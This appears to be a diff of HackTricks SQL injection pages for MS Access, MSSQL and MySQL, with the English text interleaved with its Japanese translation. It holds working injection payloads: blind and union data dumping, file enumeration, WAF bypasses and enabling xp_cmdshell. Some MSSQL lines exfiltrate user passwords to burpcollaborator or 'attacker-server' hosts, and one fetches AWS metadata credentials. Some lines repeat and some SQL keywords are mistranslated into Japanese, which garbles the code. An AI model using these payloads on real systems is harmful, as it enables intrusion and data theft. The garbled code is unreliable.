-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### データのダンプ
### Dumping data
We have already discussed the [**chaining equals technique**](ms-access-sql-injection.md#chaining-equals-+-substring) **to dump data from the current and other tables**. But there are other ways:
私たちはすでに[**チェイニングイコール技術**](ms-access-sql-injection.md#chaining-equals-+-substring) **を使用して現在のテーブルや他のテーブルからデータをダンプする方法**について議論しました。しかし、他にも方法があります:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
要約すると、クエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」をトリガーし、そうでない場合は「500 Internal Error」をトリガーします。TOP 10 演算子を利用することで、最初の10件の結果を選択できます。その後、LASTを使用することで、10番目のタプルのみを考慮できます。その値に対して、MID演算子を使用することで、単純な文字比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプできます。
In a nutshell, the query uses an “if-then” statement in order to trigger a “200 OK” in case of success or a “500 Internal Error” otherwise. Taking advantage of the TOP 10 operator, it is possible to select the first ten results. The subsequent usage of LAST allows to consider the 10th tuple only. On such value, using the MID operator, it is possible to perform a simple character comparison. Properly changing the index of MID and TOP, we can dump the content of the “username” field for all rows.
### Time Based
### 時間ベース
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
### Other Interesting functions
### その他の興味深い関数
- `Mid('admin',1,1)` get substring from position 1 length 1 (initial position is 1)
- `LEN('1234')` get length of string
- `ASC('A')` get ascii value of char
- `CHR(65)` get string from ascii value
- `Mid('admin',1,1)` 位置1から長さ1の部分文字列を取得初期位置は1
- `LEN('1234')` 文字列の長さを取得
- `ASC('A')` 文字のASCII値を取得
- `CHR(65)` ASCII値から文字列を取得
- `IIF(1=1,'a','b')` if then
- `COUNT(*)` Count number of items
- `COUNT(*)` アイテムの数をカウント
## Enumerating tables
## テーブルの列挙
From [**here**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) you can see a query to get tables names:
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
しかし、`MSysObjects` テーブルを読むアクセス権がない場合に SQL インジェクションを見つけることは非常に一般的であることに注意してください。
However, note that is very typical to find SQL Injections where you **don't have access to read the table `MSysObjects`**.
## ファイルシステムアクセス
## FileSystem access
### ウェブルートディレクトリのフルパス
### Web Root Directory Full Path
The knowledge of the **web root absolute path may facilitate further attacks**. If application errors are not completely concealed, the directory path can be uncovered trying to select data from an inexistent database.
**ウェブルートの絶対パスを知ることは、さらなる攻撃を容易にする可能性があります**。アプリケーションエラーが完全に隠されていない場合、存在しないデータベースからデータを選択しようとすることでディレクトリパスが明らかになることがあります。
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access responds with an **error message containing the web directory full pathname**.
MS Access **ウェブディレクトリのフルパスを含むエラーメッセージ** で応答します。
### File Enumeration
### ファイル列挙
The following attack vector can be used to **inferrer the existence of a file on the remote filesystem**. If the specified file exists, MS Access triggers an error message informing that the database format is invalid:
次の攻撃ベクターは、**リモートファイルシステム上のファイルの存在を推測するために使用できます**。指定されたファイルが存在する場合、MS Access はデータベース形式が無効であることを通知するエラーメッセージをトリガーします:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Another way to enumerate files consists into **specifying a database.table item**. **If** the specified **file exists**, MS Access displays a **database format error message**.
ファイルを列挙する別の方法は、**データベース.table アイテムを指定することです**。**指定されたファイルが存在する場合**、MS Access は **データベース形式エラーメッセージ** を表示します。
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdb File Name Guessing
### .mdb ファイル名の推測
**Database file name (.mdb)** can be inferred with the following query:
**データベースファイル名 (.mdb)** は、次のクエリで推測できます:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Where **name\[i] is a .mdb filename** and **realTable is an existent table** within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename.
ここで、**name\[i] は .mdb ファイル名** であり、**realTable はデータベース内の存在するテーブル** です。MS Access は常にエラーメッセージをトリガーしますが、無効なファイル名と有効な .mdb ファイル名を区別することが可能です。
### .mdb Password Cracker
### .mdb パスワードクラッカー
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) is a free utility that can be used to recover the main database password of Microsoft Access 95/97/2000/XP or Jet Database Engine 3.0/4.0.
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) は、Microsoft Access 95/97/2000/XP または Jet Database Engine 3.0/4.0 の主データベースパスワードを回復するために使用できる無料のユーティリティです。
## References
## 参考文献
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,26 +4,24 @@
## Active Directory enumeration
It may be possible to **enumerate domain users via SQL injection inside a MSSQL** server using the following MSSQL functions:
- **`SELECT DEFAULT_DOMAIN()`**: Get current domain name.
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: If you know the name of the domain (_DOMAIN_ in this example) this function will return the **SID of the user Administrator** in hex format. This will look like `0x01050000000[...]0000f401`, note how the **last 4 bytes** are the number **500** in **big endian** format, which is the **common ID of the user administrator**.\
This function will allow you to **know the ID of the domain** (all the bytes except of the last 4).
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : This function will return the **username of the ID indicated** (if any), in this case **0000e803** in big endian == **1000** (usually this is the ID of the first regular user ID created). Then you can imagine that you can brute-force user IDs from 1000 to 2000 and probably get all the usernames of the users of the domain. For example using a function like the following one:
**SQLインジェクションを使用してMSSQLサーバー内のドメインユーザーを列挙することが可能です**。以下のMSSQL関数を使用します
- **`SELECT DEFAULT_DOMAIN()`**: 現在のドメイン名を取得します。
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: ドメイン名この例では_DOMAIN_がわかっている場合、この関数は**ユーザーAdministratorのSID**を16進数形式で返します。これは`0x01050000000[...]0000f401`のように見え、**最後の4バイト**が**ビッグエンディアン**形式で**500**という数値であることに注意してください。これは**ユーザーadministratorの一般的なID**です。\
この関数を使用すると、**ドメインのIDを知ることができます**最後の4バイトを除くすべてのバイト
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : この関数は、指定されたIDの**ユーザー名を返します**(存在する場合)、この場合**0000e803**はビッグエンディアンで== **1000**通常、これは最初に作成された通常のユーザーIDのIDです。次に、1000から2000までのユーザーIDをブルートフォースして、ドメインのすべてのユーザー名を取得できると想像できます。例えば、次のような関数を使用して
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
```
## **代替エラーベースのベクター**
## **Alternative Error-Based vectors**
エラーベースのSQLインジェクションは通常、`+AND+1=@@version--`のような構造や「OR」演算子に基づく変種に似ています。このような式を含むクエリは通常WAFによってブロックされます。バイパスとして、%2b文字を使用して特定の関数呼び出しの結果と文字列を連結し、求めるデータに対してデータ型変換エラーを引き起こします。
Error-based SQL injections typically resemble constructions such as `+AND+1=@@version--` and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data.
Some examples of such functions:
このような関数のいくつかの例:
- `SUSER_NAME()`
- `USER_NAME()`
@ -33,22 +31,19 @@ Some examples of such functions:
- `TYPE_NAME()`
- `COL_NAME()`
Example use of function `USER_NAME()`:
関数`USER_NAME()`の使用例:
```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)
## SSRF
These SSRF tricks [were taken from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
これらのSSRFトリックは[こちらから取得されました](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
### `fn_xe_file_target_read_file`
It requires **`VIEW SERVER STATE`** permission on the server.
サーバー上で**`VIEW SERVER STATE`**権限が必要です。
```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```
@ -60,11 +55,9 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERV
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
### `fn_get_audit_file`
It requires the **`CONTROL SERVER`** permission.
**`CONTROL SERVER`** 権限が必要です。
```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```
@ -76,11 +69,9 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL S
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
```
### `fn_trace_gettabe`
It requires the **`CONTROL SERVER`** permission.
**`CONTROL SERVER`** 権限が必要です。
```
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```
@ -92,77 +83,67 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL S
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
Stored procedures like `xp_dirtree`, though not officially documented by Microsoft, have been described by others online due to their utility in network operations within MSSQL. These procedures are often used in Out of Band Data exfiltration, as showcased in various [examples](https://www.notsosecure.com/oob-exploitation-cheatsheet/) and [posts](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/).
The `xp_dirtree` stored procedure, for instance, is used to make network requests, but it's limited to only TCP port 445. The port number isn't modifiable, but it allows reading from network shares. The usage is demonstrated in the SQL script below:
`xp_dirtree`のようなストアドプロシージャは、Microsoftによって公式に文書化されていないものの、MSSQL内のネットワーク操作における有用性から、他の人々によってオンラインで説明されています。これらのプロシージャは、さまざまな[](https://www.notsosecure.com/oob-exploitation-cheatsheet/)や[投稿](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)で示されているように、アウトオブバンドデータの抽出にしばしば使用されます。
例えば、`xp_dirtree`ストアドプロシージャはネットワークリクエストを行うために使用されますが、TCPポート445のみに制限されています。ポート番号は変更できませんが、ネットワーク共有からの読み取りを許可します。使用法は以下のSQLスクリプトで示されています:
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
```
この方法は、デフォルト設定の `Windows Server 2016 Datacenter` 上で動作する `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` のようなすべてのシステム構成で機能しない可能性があることに注意が必要です。
It's noteworthy that this method might not work on all system configurations, such as on `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` running on a `Windows Server 2016 Datacenter` with default settings.
Additionally, there are alternative stored procedures like `master..xp_fileexist` and `xp_subdirs` that can achieve similar outcomes. Further details on `xp_fileexist` can be found in this [TechNet article](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx).
さらに、同様の結果を得るために使用できる代替のストアドプロシージャとして `master..xp_fileexist``xp_subdirs` があります。 `xp_fileexist` に関する詳細は、こちらの [TechNet article](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) で確認できます。
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
Obviously you could also use **`xp_cmdshell`** to **execute** something that triggers a **SSRF**. For more info **read the relevant section** in the page:
明らかに、**`xp_cmdshell`** を使用して **SSRF** を引き起こす何かを **実行** することもできます。詳細については、ページの **関連セクションを読む**
{{#ref}}
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
{{#endref}}
### MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### MSSQL ユーザー定義関数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Creating a CLR UDF (Common Language Runtime User Defined Function), which is code authored in any .NET language and compiled into a DLL, to be loaded within MSSQL for executing custom functions, is a process that requires `dbo` access. This means it is usually feasible only when the database connection is made as `sa` or with an Administrator role.
CLR UDF (共通言語ランタイムユーザー定義関数) を作成することは、任意の .NET 言語で作成され、DLL にコンパイルされ、MSSQL 内でカスタム関数を実行するためにロードされるコードを必要とするプロセスであり、`dbo` アクセスが必要です。これは通常、データベース接続が `sa` または管理者ロールで行われる場合にのみ実行可能です。
A Visual Studio project and installation instructions are provided in [this Github repository](https://github.com/infiniteloopltd/SQLHttp) to facilitate the loading of the binary into MSSQL as a CLR assembly, thereby enabling the execution of HTTP GET requests from within MSSQL.
The core of this functionality is encapsulated in the `http.cs` file, which employs the `WebClient` class to execute a GET request and retrieve content as illustrated below:
バイナリを CLR アセンブリとして MSSQL にロードするための Visual Studio プロジェクトとインストール手順は、[この Github repository](https://github.com/infiniteloopltd/SQLHttp) に提供されており、これにより MSSQL 内から HTTP GET リクエストを実行できるようになります。
この機能の核心は、`http.cs` ファイルにカプセル化されており、`WebClient` クラスを使用して GET リクエストを実行し、以下のようにコンテンツを取得します:
```csharp
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
```
Before executing the `CREATE ASSEMBLY` SQL command, it is advised to run the following SQL snippet to add the SHA512 hash of the assembly to the server's list of trusted assemblies (viewable via `select * from sys.trusted_assemblies;`):
`CREATE ASSEMBLY` SQLコマンドを実行する前に、次のSQLスニペットを実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加することをお勧めします`select * from sys.trusted_assemblies;`で表示可能):
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
After successfully adding the assembly and creating the function, the following SQL code can be utilized to perform HTTP requests:
アセンブリを正常に追加し、関数を作成した後、次のSQLコードを使用してHTTPリクエストを実行できます
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
### **Quick Exploitation: Retrieving Entire Table Contents in a Single Query**
### **クイックエクスプロイテーション: 単一クエリでテーブル全体の内容を取得する**
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
A concise method for extracting the full content of a table in a single query involves utilizing the `FOR JSON` clause. This approach is more succinct than using the `FOR XML` clause, which requires a specific mode like "raw". The `FOR JSON` clause is preferred for its brevity.
Here's how to retrieve the schema, tables, and columns from the current database:
単一クエリでテーブルの全内容を抽出する簡潔な方法は、`FOR JSON`句を利用することです。このアプローチは、特定のモード「raw」を必要とする`FOR XML`句を使用するよりも簡潔です。`FOR JSON`句はその簡潔さから好まれます。
現在のデータベースからスキーマ、テーブル、およびカラムを取得する方法は次のとおりです:
````sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
@ -228,37 +209,37 @@ SELECT 'a' SELECT 'b'
So for example, multiple queries such as:
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
使用 [tempdb]
テーブル [test] を作成 ([id] int)
[テスト] に値を挿入 (1)
[テスト] から [id] を選択
テーブル [test] を削除
```
Can be reduced to:
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
使用[tempdb]作成/**/テーブル[test]([id]int)挿入[test]値(1)選択[id]から[test]削除/**/テーブル[test]
```
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
```
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
# 無駄な exec() を最後に追加し、WAF にこれが有効なクエリではないと思わせる
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
## これは次のようになります:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
# 奇妙に構築されたクエリを使用する
admin'exec('update[users]set[password]=''a''')--
## This will be:
## これは次のようになります:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
# または xp_cmdshell を有効にする
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
## これは次のようになります
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
@ -270,4 +251,3 @@ exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
- [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# MySQL injection
# MySQLインジェクション
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
## Comments
## コメント
```sql
-- MYSQL Comment
# MYSQL Comment
@ -17,11 +16,9 @@
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
## 興味深い機能
## Interesting Functions
### Confirm Mysql:
### Mysqlの確認:
```
concat('a','b')
database()
@ -35,9 +32,7 @@ floor(2.9)
length(1)
count(1)
```
### Useful functions
### 有用な関数
```sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
@ -53,37 +48,30 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## All injection
## すべてのインジェクション
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
## フロー
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## Flow
Remember that in "modern" versions of **MySQL** you can substitute "_**information_schema.tables**_" for "_**mysql.innodb_table_stats**_**"** (This could be useful to bypass WAFs).
「現代」の**MySQL**のバージョンでは、"_**information_schema.tables**_"を"_**mysql.innodb_table_stats**_**"**に置き換えることができることを覚えておいてくださいこれはWAFを回避するのに役立つかもしれません
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
### **Only 1 value**
### **値は1つだけ**
- `group_concat()`
- `Limit X,1`
### **Blind one by one**
### **ブラインド1つずつ**
- `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112`
- `substr(version(),X,1)='r'` または `substring(version(),X,1)=0x70` または `ascii(substr(version(),X,1))=112`
- `mid(version(),X,1)='5'`
### **Blind adding**
### **ブラインド追加**
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
@ -91,10 +79,9 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
- `SELECT INSTR('foobarbar', 'fo...')=1`
## Detect number of columns
Using a simple ORDER
## 列の数を検出
単純なORDERを使用
```
order by 1
order by 2
@ -107,88 +94,74 @@ UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL Union Based
## MySQL ユニオンベース
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
**Learn here different options to** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.**
**ここで、** [**Mysqlインジェクションを悪用してSSRFを取得するためのさまざまなオプションを学びます**](mysql-ssrf.md)**。**
## WAF bypass tricks
## WAFバイパストリック
### Executing queries through Prepared Statements
When stacked queries are allowed, it might be possible to bypass WAFs by assigning to a variable the hex representation of the query you want to execute (by using SET), and then use the PREPARE and EXECUTE MySQL statements to ultimately execute the query. Something like this:
### 準備されたステートメントを通じてクエリを実行する
スタッククエリが許可されている場合、実行したいクエリの16進数表現を変数に割り当てSETを使用、その後PREPAREおよびEXECUTE MySQLステートメントを使用して最終的にクエリを実行することでWAFをバイパスできる可能性があります。次のようなものです
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
詳細については、[このブログ投稿](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)を参照してください。
For more information please refer to [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
### Information_schemaの代替
### Information_schema alternatives
「現代」の**MySQL**のバージョンでは、_**information_schema.tables**_を_**mysql.innodb_table_stats**_や_**sys.x$schema_flattened_keys**_、または**sys.schema_table_statistics**に置き換えることができることを覚えておいてください。
Remember that in "modern" versions of **MySQL** you can substitute _**information_schema.tables**_ for _**mysql.innodb_table_stats**_ or for _**sys.x$schema_flattened_keys**_ or for **sys.schema_table_statistics**
### MySQLinjection without COMMAS
Select 2 columns without using any comma ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
### MySQLインジェクションカンマなし
カンマを使用せずに2つの列を選択します[https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### 列名なしで値を取得する
### Retrieving values without the column name
If at some point you know the name of the table but you don't know the name of the columns inside the table, you can try to find how may columns are there executing something like:
もしある時点でテーブルの名前はわかっているが、テーブル内の列の名前がわからない場合、次のようなコマンドを実行して、列の数を調べることができます:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character:
2つの列があると仮定します最初の列がIDで、もう1つの列がフラグです。フラグの内容を文字ごとにブルートフォースしてみることができます
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
[https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)の詳細情報
More info in [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### MySQLの歴史
### MySQL history
You ca see other executions inside the MySQL reading the table: **sys.x$statement_analysis**
### Version alternative**s**
**sys.x$statement_analysis**テーブルを読み取ることで、他の実行を確認できます。
### バージョンの代替**s**
```
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## その他のMYSQLインジェクションガイド
## Other MYSQL injection guides
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)]
## References
## 参考文献
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、 **ヨーロッパ** で最も重要なイベントの一つです。 **技術知識の促進** を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,29 +2,28 @@
{{#include ../../../banners/hacktricks-training.md}}
**This is a summary of the MySQL/MariaDB/Percona techniques from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
**これは、[https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)からのMySQL/MariaDB/Percona技術の概要です。**
### Server-Side Request Forgery (SSRF) via SQL Functions
### SQL関数を介したサーバーサイドリクエストフォージェリSSRF
In the exploration of SQL Out of Band data exfiltration, the `LOAD_FILE()` function is commonly employed to initiate network requests. This function, however, is constrained by the operating system it operates on and the database's startup configurations.
SQLのアウトオブバンドデータ流出の探求において、`LOAD_FILE()`関数はネットワークリクエストを開始するために一般的に使用されます。しかし、この関数は、動作するオペレーティングシステムとデータベースの起動設定によって制約されます。
The `secure_file_priv` global variable, if unset, defaults to `/var/lib/mysql-files/`, limiting file access to this directory unless set to an empty string (`""`). This adjustment necessitates modifications in the database's configuration file or startup parameters.
`secure_file_priv`グローバル変数が未設定の場合、デフォルトで`/var/lib/mysql-files/`に設定され、このディレクトリへのファイルアクセスが制限されます。空の文字列(`""`)に設定することで、この制限を解除する必要があります。この調整には、データベースの設定ファイルや起動パラメータの変更が必要です。
